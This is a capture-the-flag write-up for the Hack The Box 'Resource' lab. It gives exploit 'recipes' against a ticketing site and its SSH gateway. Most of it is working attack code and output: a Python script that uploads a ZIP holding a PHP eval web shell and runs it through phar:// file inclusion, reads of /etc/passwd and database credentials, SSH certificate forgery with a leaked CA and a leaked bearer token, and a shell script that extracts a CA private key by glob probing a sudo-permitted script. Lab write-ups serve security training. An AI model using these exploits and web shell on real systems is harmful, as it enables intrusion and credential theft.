Resource
Recipes#
All exploit recipes for this lab.
1
git clone https://git.y5c4l3.net/htb-season-6-resource.git
Say Hello#
$ curl -v http://10.10.11.27
* Trying 10.10.11.27:80...
* Connected to 10.10.11.27 (10.10.11.27) port 80
> GET / HTTP/1.1
> Host: 10.10.11.27
> User-Agent: curl/8.9.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.18.0 (Ubuntu)
< Date: Wed, 28 Aug 2024 17:17:17 GMT
< Content-Type: text/html
< Content-Length: 154
< Connection: keep-alive
< Location: http://itrc.ssg.htb/
<
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>
* Connection #0 to host 10.10.11.27 left intact
Asset Discovery#
Starting Nmap 7.95 ( https://nmap.org ) at 2024-08-17 01:48 CST
Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 83.33% done; ETC: 01:48 (0:00:00 remaining)
Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 83.33% done; ETC: 01:48 (0:00:00 remaining)
Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 83.33% done; ETC: 01:48 (0:00:00 remaining)
Nmap scan report for 10.10.11.27
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
2222/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.26 seconds
Need to dive into the web server.
ITRC Web Exploit: Stream Wrapper and Zip-based PHAR s#
The website is a ticket system, where you can submit requests and attachments
after registration.
The URL schemes tend to indicate that local file inclusion is feasible:
http://itrc.ssg.htb/?page=dashboard
http://itrc.ssg.htb/?page=create_ticket
And what’s more convincing is that setting page
to ././create_ticket
produces
the expected ticket creation page, and the trial of nonexistent stream wrappers foo://
shows a warning:
Given that users can upload an optional ZIP archive within a ticket, I can then
construct an archive containing a malicious PHP page and use phar://
stream
wrapper to include the payload.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import io
import requests
import zipfile
import re
import readline
from urllib.parse import urljoin
class Exploit :
def __init__ ( self , base ):
self . base = base
self . session = requests . Session ()
self . session . headers = {
'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' ,
}
def session ():
return self . session
def prepare ( self ):
self . session . post ( f ' { self . base } /api/register.php' , data = {
'user' : 'yyy555' ,
'pass' : 'yyy555' ,
'pass2' : 'yyy555' ,
})
self . session . post ( f ' { self . base } /api/login.php' , data = {
'user' : 'yyy555' ,
'pass' : 'yyy555' ,
})
def upload ( self , content ) -> str :
res = self . session . post ( f ' { self . base } /api/create_ticket.php' ,
data = {
'subject' : 'exploit' ,
'body' : 'exploit' ,
},
files = {
'attachment' : ( 'attachment.zip' , content , 'application/zip' ),
},
)
res = self . session . get ( f ' { self . base } ' )
PATTERN_TICKET = re . compile ( r 'id=(\d+)' )
* _ , last = re . finditer ( PATTERN_TICKET , res . text )
ticket_id = last . group ( 1 )
res = self . session . get ( f ' { self . base } /' , params = {
'page' : 'ticket' ,
'id' : ticket_id ,
})
PATTERN_HREF = re . compile ( r 'uploads/(.*?\.zip)' )
result = re . search ( PATTERN_HREF , res . text ) . group ( 0 )
return result
def include ( self , path , method , ** kwargs ):
res = self . session . request ( method , f ' { self . base } /?page= { path } ' , ** kwargs )
return res
payload = io . BytesIO ()
shell = b '''
<?php
if (md5($_GET['p'] ?? '') !== 'b90f3171a899adc93d54a5e53bb8a13d')
{
die(1);
}
@error_reporting(E_ALL);
@ini_set('display_errors', 'on');
echo '<output>';
eval(file_get_contents('php://input') . ($_GET['c'] ?? ''));
echo '</output>';
?>
'''
OUTPUT_PATTERN = re . compile ( r '<output>(.*?)</output>' , re . MULTILINE | re . DOTALL )
with zipfile . ZipFile ( payload , 'w' , compression = zipfile . ZIP_DEFLATED , allowZip64 = False ) as z :
z . writestr ( 'shell.php' , shell )
exp = Exploit ( 'http://itrc.ssg.htb' )
exp . prepare ()
path = exp . upload ( payload . getvalue ())
print ( f 'Uploaded at { path } ' )
path = f 'phar:// { path } /shell'
readline . parse_and_bind ( '" \\ e[A": history-search-backward' )
readline . parse_and_bind ( '" \\ e[B": history-search-forward' )
while True :
line = input ( '> ' )
try :
res = exp . include ( path , 'POST' , params = { 'p' : 'yyy555' }, data = line )
result = re . findall ( OUTPUT_PATTERN , res . text )[ 0 ]
print ( result . strip ())
except Exception as e :
print ( 'Failed to execute' )
print ( e )
Getting access to www-data
shell:
ITRC Info Leak: ITRC Credentials#
Checking users on the server:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
> readfile ( ' / etc / passwd ' );
root : x : 0 : 0 : root : / root : / bin / bash
daemon : x : 1 : 1 : daemon : / usr / sbin : / usr / sbin / nologin
bin : x : 2 : 2 : bin : / bin : / usr / sbin / nologin
sys : x : 3 : 3 : sys : / dev : / usr / sbin / nologin
sync : x : 4 : 65534 : sync : / bin : / bin / sync
games : x : 5 : 60 : games : / usr / games : / usr / sbin / nologin
man : x : 6 : 12 : man : / var / cache / man : / usr / sbin / nologin
lp : x : 7 : 7 : lp : / var / spool / lpd : / usr / sbin / nologin
mail : x : 8 : 8 : mail : / var / mail : / usr / sbin / nologin
news : x : 9 : 9 : news : / var / spool / news : / usr / sbin / nologin
uucp : x : 10 : 10 : uucp : / var / spool / uucp : / usr / sbin / nologin
proxy : x : 13 : 13 : proxy : / bin : / usr / sbin / nologin
www - data : x : 33 : 33 : www - data : / var / www : / usr / sbin / nologin
backup : x : 34 : 34 : backup : / var / backups : / usr / sbin / nologin
list : x : 38 : 38 : Mailing List Manager : / var / list : / usr / sbin / nologin
irc : x : 39 : 39 : ircd : / run / ircd : / usr / sbin / nologin
_apt : x : 42 : 65534 ::/ nonexistent : / usr / sbin / nologin
nobody : x : 65534 : 65534 : nobody : / nonexistent : / usr / sbin / nologin
sshd : x : 100 : 65534 ::/ run / sshd : / usr / sbin / nologin
msainristil : x : 1000 : 1000 ::/ home / msainristil : / bin / bash
zzinter : x : 1001 : 1001 ::/ home / zzinter : / bin / bash
Validating the networking status:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
> system ( ' ip route ' );
> system ( ' route ' );
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default signserv . ssg . ht 0.0.0.0 UG 0 0 0 eth0
172.223.0.0 0.0.0.0 255.255.0.0 U 0 0 0 eth0
> system ( ' route - n ' );
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 172.223.0.1 0.0.0.0 UG 0 0 0 eth0
172.223.0.0 0.0.0.0 255.255.0.0 U 0 0 0 eth0
> system ( ' ifconfig ' );
eth0 : flags = 4163 < UP , BROADCAST , RUNNING , MULTICAST > mtu 1500
inet 172.223.0.3 netmask 255.255.0.0 broadcast 172.223.255.255
ether 02 : 42 : ac : df : 00 : 03 txqueuelen 0 ( Ethernet )
RX packets 5779 bytes 1017343 ( 993.4 KiB )
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 5963 bytes 10369291 ( 9.8 MiB )
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo : flags = 73 < UP , LOOPBACK , RUNNING > mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 ( Local Loopback )
RX packets 1090 bytes 63296 ( 61.8 KiB )
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1090 bytes 63296 ( 61.8 KiB )
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
The target we’re accessing is not ITRC itself, probably forwarded by its gateway.
Web service is definitely proxied:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
> system ( ' curl dict : //localhost:22');
SSH - 2.0 - OpenSSH_9 .2 p1 Debian - 2 + deb12u3
Invalid SSH identification string .
> system ( ' curl dict : //localhost:2222');
>
> system ( ' curl dict : //172.223.0.1:22');
SSH - 2.0 - OpenSSH_9 .2 p1 Debian - 2 + deb12u3
Invalid SSH identification string .
> system ( ' curl dict : //172.223.0.1:2222');
SSH - 2.0 - OpenSSH_8 .9 p1 Ubuntu - 3u buntu0 .10
Invalid SSH identification string .
> system ( ' curl http : //172.223.0.1 -vv 2>&1 >/dev/null');
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 * Trying 172.223.0.1 : 80. ..
* Connected to 172.223.0.1 ( 172.223.0.1 ) port 80 ( # 0 )
> GET / HTTP / 1.1
> Host : 172.223.0.1
> User - Agent : curl / 7.88.1
> Accept : */ *
>
< HTTP / 1.1 302 Moved Temporarily
< Server : nginx / 1.18.0 ( Ubuntu )
< Date : Wed , 28 Aug 2024 19 : 10 : 04 GMT
< Content - Type : text / html
< Content - Length : 154
< Connection : keep - alive
< Location : http : //itrc.ssg.htb/
<
{ [ 154 bytes data ]
100 154 100 154 0 0 114 k 0 --:--:-- --:--:-- --:--:-- 150 k
* Connection # 0 to host 172.223.0.1 left intact
> system ( ' curl http : //localhost -vv 2>&1 >/dev/null');
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 * Trying 127.0.0.1 : 80. ..
* Connected to localhost ( 127.0.0.1 ) port 80 ( # 0 )
> GET / HTTP / 1.1
> Host : localhost
> User - Agent : curl / 7.88.1
> Accept : */ *
>
< HTTP / 1.1 301 Moved Permanently
< Date : Wed , 28 Aug 2024 19 : 10 : 19 GMT
< Server : Apache / 2.4.61 ( Debian )
< Location : http : //itrc.ssg.htb/
< Content - Length : 303
< Content - Type : text / html ; charset = iso - 8859 - 1
<
{ [ 303 bytes data ]
100 303 100 303 0 0 249 k 0 --:--:-- --:--:-- --:--:-- 295 k
* Connection # 0 to host localhost left intact
Looking around the database:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
> readfile ( 'db.php' );
<? php
$dsn = "mysql:host=db;dbname=resourcecenter;" ;
$dbusername = "jj" ;
$dbpassword = "ugEG5rR5SG8uPd" ;
$pdo = new PDO ( $dsn , $dbusername , $dbpassword );
try {
$pdo -> setAttribute ( PDO :: ATTR_ERRMODE , PDO :: ERRMODE_EXCEPTION );
} catch ( PDOException $e ) {
die ( "Connection failed: " . $e -> getMessage ());
}
> include 'db.php' ; $stmt = $pdo -> prepare ( 'SELECT `table_name` FROM `information_schema`.`tables` WHERE `table_schema` = "resourcecenter";' ); $stmt -> execute (); var_dump ( $stmt -> fetchAll ());
array ( 3 ) {
[ 0 ] =>
array ( 2 ) {
[ "table_name" ] =>
string ( 8 ) "messages"
[ 0 ] =>
string ( 8 ) "messages"
}
[ 1 ] =>
array ( 2 ) {
[ "table_name" ] =>
string ( 7 ) "tickets"
[ 0 ] =>
string ( 7 ) "tickets"
}
[ 2 ] =>
array ( 2 ) {
[ "table_name" ] =>
string ( 5 ) "users"
[ 0 ] =>
string ( 5 ) "users"
}
}
Considering that tickets and messages would be TLDR, I decided to have a look at the uploads
:
1
2
3
4
5
> system ( ' ls - lh - tr . / uploads ' );
total 1.3 M
- rw - rw - r -- 1 www - data www - data 1.2 M Feb 6 2024 c2f4813259cc57fab36b311c5058cf031cb6eb51 . zip
- rw - rw - r -- 1 www - data www - data 275 Feb 6 2024 eb65074fe37671509f24d1652a44944be61e4360 . zip
- rw - rw - r -- 1 www - data www - data 634 Feb 6 2024 e8c6575573384aeeab4d093cc99c7e5927614185 . zip
Get all these archives extracted, files are:
itrc.ssg.htb.har
: DevTools traffic
id_ed25519.pub
: McGregor’s SSH public key (ed25519
)
id_rsa.pub
: Graham’s SSH public key (rsa
)
After inspecting the traffic, I got the credentials from user msainristil
.
msainristil:82yards2closeit
ITRC Info Leak: Decommissioned CA#
The credentials above are applicable to both Web and SSH.
By changing ticket ID in the URL, I could check messages in all tickets:
So from the ticket flows and the files at msainristil
’s home, we now know that
due to an upgrade, the original CA (ca-itrc
) for SSH certificate signing has been
deprecated, but is still recognized somewhere .
(For more details on SSH certificates,
read If you’re not using SSH certificates you’re doing SSH wrong .)
Checking sshd_config
on ITRC, we can now confirm that the server itself still
accepts SSH client certificates signed by the old CA:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
msainristil @ itrc : ~ $ cat / etc / ssh / sshd_config . d / sshcerts . conf
HostKey / etc / ssh / ssh_host_rsa_key
HostKey / etc / ssh / ssh_host_ecdsa_key
HostKey / etc / ssh / ssh_host_ed25519_key
HostCertificate / etc / ssh / ssh_host_rsa_key - cert . pub
HostCertificate / etc / ssh / ssh_host_ecdsa_key - cert . pub
HostCertificate / etc / ssh / ssh_host_ed25519_key - cert . pub
TrustedUserCAKeys / etc / ssh / ca_users_keys . pub
msainristil @ itrc : ~ $ cat / etc / ssh / ca_users_keys . pub
ssh - rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDoBD1UoFfL41g / FVX373rdm5WPz + SZ0bWt5PYP + dhok4vb3UpJPIGOeAsXmAkzEVYBHIiE + aGbrcXvDaSbZc6cI2aZfFraEPt080KVKHALAPgaOn / zFdld8P9yaENKBKltWLZ9I6rwg98IGEToB7JNZF9hzasjjD0IDKv8JQ3NwimDcZTc6Le0hJw52ANcLszteliFSyoTty9N / oUgTUjkFsgsroEh + Onz4buVD2bxoZ + 9 mODcdYTQ4ChwanfzFSnTrTtAQrJtyH / bDRTa2BpmdmYdQu + 4 HcbDl5NbiEwu1FNskz / YNDPkq3bEYEOvgMiu / 0 ZMy0wercx6Tn0G2cppS70 / rG5GMcJi0WTcUic3k + XJ191WEG1EtXJNbZdtJc7Ky0EKhat0dgck8zpq62kejtkBQd86p6FvR8 + xH3 / JMxHvMNVYVODJt / MIik99sWb5Q7NCVcIXQ0ejVTzTI9QT27km / FUgl3cs5CZ4GIN7polPenQXEmdmbBOWD2hrlLs = ITRC Certifcate CA
ssh - ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIHg8Cudy1ShyYfqzC3ANlgAcW7Q4MoZuezAE8mNFSmx Global SSG SSH Certficiate from IT
msainristil @ itrc : ~ $ ssh - keygen - l - f / etc / ssh / ca_users_keys . pub
3072 SHA256 : BFu3V / qG + Kyg33kg3b4R / hbArfZiJZRmddDeF2fUmgs ITRC Certifcate CA ( RSA )
256 SHA256 : 1 p3yJYtPaG3wNIzooDpnzx5dFkAgHdnFVNDt7HbRpKc Global SSG SSH Certficiate from IT ( ED25519 )
msainristil @ itrc : ~ $
msainristil @ itrc : ~ $ cat ~/ decommission_old_ca / ca - itrc . pub
ssh - rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDoBD1UoFfL41g / FVX373rdm5WPz + SZ0bWt5PYP + dhok4vb3UpJPIGOeAsXmAkzEVYBHIiE + aGbrcXvDaSbZc6cI2aZfFraEPt080KVKHALAPgaOn / zFdld8P9yaENKBKltWLZ9I6rwg98IGEToB7JNZF9hzasjjD0IDKv8JQ3NwimDcZTc6Le0hJw52ANcLszteliFSyoTty9N / oUgTUjkFsgsroEh + Onz4buVD2bxoZ + 9 mODcdYTQ4ChwanfzFSnTrTtAQrJtyH / bDRTa2BpmdmYdQu + 4 HcbDl5NbiEwu1FNskz / YNDPkq3bEYEOvgMiu / 0 ZMy0wercx6Tn0G2cppS70 / rG5GMcJi0WTcUic3k + XJ191WEG1EtXJNbZdtJc7Ky0EKhat0dgck8zpq62kejtkBQd86p6FvR8 + xH3 / JMxHvMNVYVODJt / MIik99sWb5Q7NCVcIXQ0ejVTzTI9QT27km / FUgl3cs5CZ4GIN7polPenQXEmdmbBOWD2hrlLs = ITRC Certifcate CA
msainristil @ itrc : ~ $ ssh - keygen - l - f ~/ decommission_old_ca / ca - itrc . pub
3072 SHA256 : BFu3V / qG + Kyg33kg3b4R / hbArfZiJZRmddDeF2fUmgs ITRC Certifcate CA ( RSA )
So the next step is to generate SSH client key and sign it using the compromised CA.
1
2
mkdir -p keys
ssh-keygen -t ed25519 -q -N '' -C 'recipe@y5' -f ./keys/id_self
1
2
3
4
5
6
7
8
ssh-keygen \
-s ./itrc/ca-itrc \
-I root@ssg.htb \
-n zzinter,msainristil,root \
-z 10086 \
-V -365d:+365d \
./keys/id_self
mv ./keys/id_self-cert.pub ./keys/id_self-itrc.pub
A helper ssh_config
to facilitate login:
1
2
3
4
5
Host itrc
Hostname itrc.ssg . htb
IdentityFile . / keys / id_self
IdentitiesOnly yes
CertificateFile . / keys / id_self - itrc.pub
And we can login to root
and zzinter
by
1
2
ssh -F ssh_config root@itrc
ssh -F ssh_config zzinter@itrc
SSG Gateway (Pre): Remote Signing Server#
No more clues at ITRC root
user.
In zzinter
’s home, user flag and a script are presented:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/bash
usage () {
echo "Usage: $0 <public_key_file> <username> <principal>"
exit 1
}
if [ " $# " -ne 3 ] ; then
usage
fi
public_key_file = " $1 "
username = " $2 "
principal_str = " $3 "
supported_principals = "webserver,analytics,support,security"
IFS = ',' read -ra principal <<< " $principal_str "
for word in " ${ principal [@] } " ; do
if ! echo " $supported_principals " | grep -qw " $word " ; then
echo "Error: ' $word ' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if [ ! -f " $public_key_file " ] ; then
echo "Error: Public key file ' $public_key_file ' not found."
usage
fi
public_key = $( cat $public_key_file )
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "' " $public_key " '", "username": "' " $username " '", "principals": "' " $principal " '"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
1
2
3
4
5
6
7
8
public_key = $( cat ./keys/id_self.pub)
username = root@ssg.htb
principal = webserver,analytics,support,security,zzinter,msainristil,root
curl http://signserv.ssg.htb/v1/sign \
-d '{"pubkey": "' " $public_key " '", "username": "' " $username " '", "principals": "' " $principal " '"}' \
-H "Content-Type: application/json" \
-H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE" \
-o ./keys/id_self-remote.pub
By checking certificate contents and comparing CA fingerprints we found at ITRC /etc/ssh
,
we can confirm it’s issued by Global SSG SSH Certficiate from IT (ED25519)
, the new CA.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ssh-keygen -L -f ./keys/id_self-remote.pub
./keys/id_self-remote.pub:
Type: ssh-ed25519-cert-v01@openssh.com user certificate
Public key: ED25519-CERT SHA256:fScJ0tNaLGnH9bFjNwaCm2jkHUgpYmaeciFWdZxlk3g
Signing CA: ED25519 SHA256:1p3yJYtPaG3wNIzooDpnzx5dFkAgHdnFVNDt7HbRpKc ( using ssh-ed25519)
Key ID: "root@ssg.htb"
Serial: 41
Valid: after 2024-08-22T04:39:09
Principals:
webserver
analytics
support
security
Critical Options: ( none)
Extensions:
permit-X11-forwarding
permit-agent-forwarding
permit-port-forwarding
permit-pty
permit-user-rc
1
2
3
4
5
6
Host ssg
Hostname signserv.ssg . htb
Port 2222
IdentityFile . / keys / id_self
IdentitiesOnly yes
CertificateFile . / keys / id_self - remote.pub
However, only support@ssg
can be authenticated, we need to investigate more.
By inspecting sshd_config
, something special pops up:
The auth_principals
can associate users with different principals, that is why
zzinter
and root
cannot be authenticated.
It seems that we just need to fix the principal list like below:
1
principal = webserver,analytics,support,security,zzinter_temp,root_user
But the principal list is filtered at server side:
1
{ "detail" : "Root access must be granted manually. See the IT admin staff." }
The best attempt we can make is to visit zzinter
:
1
2
3
4
5
6
7
8
public_key = $( cat ./keys/id_self.pub)
username = root@ssg.htb
principal = webserver,analytics,support,security,zzinter_temp
curl http://signserv.ssg.htb/v1/sign \
-d '{"pubkey": "' " $public_key " '", "username": "' " $username " '", "principals": "' " $principal " '"}' \
-H "Content-Type: application/json" \
-H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE" \
-o ./keys/id_self-remote.pub
1
ssh -F ssh_config zzinter@ssg
SSG Gateway: Glob Probing Unquoted Variable#
After checking all files on SSG, a script located at /opt/sign_key.sh
attracts
my attention:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/bin/bash
usage () {
echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
exit 1
}
if [ " $# " -ne 5 ] ; then
usage
fi
ca_file = " $1 "
public_key_file = " $2 "
username = " $3 "
principal_str = " $4 "
serial = " $5 "
if [ ! -f " $ca_file " ] ; then
echo "Error: CA file ' $ca_file ' not found."
usage
fi
itca = $( cat /etc/ssh/ca-it)
ca = $( cat " $ca_file " )
if [[ $itca == $ca ]] ; then
echo "Error: Use API for signing with this CA."
usage
fi
if [ ! -f " $public_key_file " ] ; then
echo "Error: Public key file ' $public_key_file ' not found."
usage
fi
supported_principals = "webserver,analytics,support,security"
IFS = ',' read -ra principal <<< " $principal_str "
for word in " ${ principal [@] } " ; do
if ! echo " $supported_principals " | grep -qw " $word " ; then
echo "Error: ' $word ' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if ! [[ $serial = ~ ^[ 0-9] +$ ]] ; then
echo "Error: ' $serial ' is not a number."
usage
fi
ssh-keygen -s " $ca_file " -z " $serial " -I " $username " -V -1w:forever -n " $principal " " $public_key_file "
Output of sudo -l
indicates that the script can be run along with sudo
:
1
2
3
4
5
6
7
8
zzinter@ssg:~$ sudo -l
Matching Defaults entries for zzinter on ssg:
env_reset, mail_badpass,
secure_path = /usr/local/sbin\: /usr/local/bin\: /usr/sbin\: /usr/bin\: /sbin\: /bin\: /snap/bin,
use_pty
User zzinter may run the following commands on ssg:
( root) NOPASSWD: /opt/sign_key.sh
The following test is fragile and can cause info leaks:
1
if [[ $itca == $ca ]] ; then
The mechanism is that Bash test operator [[
supports glob-based pattern matching:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
~ $ echo $0
-bash
~ $ a = 'secret' ; b = '*' ; [[ $a == $b ]] && echo EQ
EQ
~ $ a = 'secret' ; b = 's*' ; [[ $a == $b ]] && echo EQ
EQ
~ $ a = 'secret' ; b = 'se*' ; [[ $a == $b ]] && echo EQ
EQ
~ $ a = 'secret' ; b = 'sed*' ; [[ $a == $b ]] && echo EQ
~ $ a = 'secret' ; b = 'sec*' ; [[ $a == $b ]] && echo EQ
EQ
~ $ a = 'secret' ; b = 'sec[opq]*' ; [[ $a == $b ]] && echo EQ
~ $ a = 'secret' ; b = 'sec[opqrst]*' ; [[ $a == $b ]] && echo EQ
EQ
So we can do a binary search on next unknown byte of the file, and finally probe
out the complete file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#!/bin/sh
sch_sarray_is_empty() {
sarray = $1
[ -z " $sarray " ]
}
sch_sarray_len() {
sarray = $1
i = 0
for element in $sarray ; do
i = $(( i + 1 ))
done
printf '%d' " $i "
}
sch_sarray_append() {
sarray = $1
shift
if sch_sarray_is_empty " $sarray " ; then
printf '%s' " $* "
else
printf '%s' " $sarray $* "
fi
}
sch_sarray_take() {
sarray = $1
n = " $2 "
result = ''
i = 0
for element in $sarray ; do
if [ " $i " -eq " $n " ] ; then
break
fi
result = $( sch_sarray_append " $result " " $element " )
i = $(( i + 1 ))
done
printf '%s' " $result "
}
sch_sarray_skip() {
sarray = $1
n = $2
result = ''
i = 0
for element in $sarray ; do
if [ " $i " -ge " $n " ] ; then
result = $( sch_sarray_append " $result " " $element " )
fi
i = $(( i + 1 ))
done
printf '%s' " $result "
}
sch_sarray_first() {
sarray = $1
result = ''
for element in $sarray ; do
printf '%s' " $element "
return 0
done
return 1
}
custom = '- = + / \040 \n'
uppercase = "A B C D E F G H I J K L M N O P Q R S T U V W X Y Z"
lowercase = "a b c d e f g h i j k l m n o p q r s t u v w x y z"
digits = "0 1 2 3 4 5 6 7 8 9"
charset = " $custom $uppercase $lowercase $digits "
ca = "/tmp/x"
known = ""
check() {
printf -- " $1 " > " $ca "
sudo /opt/sign_key.sh " $ca " /dev/null root _ 10086 2>/dev/null | grep API >/dev/null
}
check_pattern() {
known = $1
pattern = $2
check " $known$pattern *"
}
pattern_in() {
sarray = $1
pattern = '['
for c in $sarray ; do
pattern = " $pattern$c "
done
pattern = " $pattern ]"
printf '%s' " $pattern "
}
search_among() {
sarray = $1
callback = $2
[ -z " $callback " ] && return 1
shift; shift
n = $( sch_sarray_len " $sarray " )
partition0 = $( sch_sarray_take " $sarray " $(( n / 2 )))
pattern0 = $( pattern_in " $partition0 " )
partition1 = $( sch_sarray_skip " $sarray " $(( n / 2 )))
pattern1 = $( pattern_in " $partition1 " )
if ! sch_sarray_is_empty " $partition0 " && ( $callback " $@ " " $pattern0 " ) ; then
if [ $( sch_sarray_len " $partition0 " ) -eq 1 ] ; then
sch_sarray_first " $partition0 "
return 0
else
search_among " $partition0 " " $callback " " $@ "
return $?
fi
elif ! sch_sarray_is_empty " $partition1 " && ( $callback " $@ " " $pattern1 " ) ; then
if [ $( sch_sarray_len " $partition1 " ) -eq 1 ] ; then
sch_sarray_first " $partition1 "
return 0
else
search_among " $partition1 " " $callback " " $@ "
return $?
fi
fi
return 1
}
while true; do
c = $( search_among " $charset " check_pattern " $known " )
if [ $? -eq 0 ] ; then
known = " $known$c "
if check $known ; then
printf "ok:\n $known \n"
break
fi
else
printf "stuck at:\n $known \n"
break
fi
done
rm " $ca "
1
2
3
4
5
6
7
8
ssh-keygen \
-s ./ssg/ca-it \
-I root@ssg.htb \
-n webserver,analytics,support,security,zzinter_temp,root_user \
-z 10086 \
-V -365d:+365d \
./keys/id_self
mv ./keys/id_self-cert.pub ./keys/id_self-ssg.pub
1
2
3
4
5
6
7
Host ssg
Hostname signserv.ssg . htb
Port 2222
IdentityFile . / keys / id_self
IdentitiesOnly yes
CertificateFile . / keys / id_self - remote.pub
CertificateFile . / keys / id_self - ssg.pub
1
ssh -F ssh_config root@ssg
Happy hacking!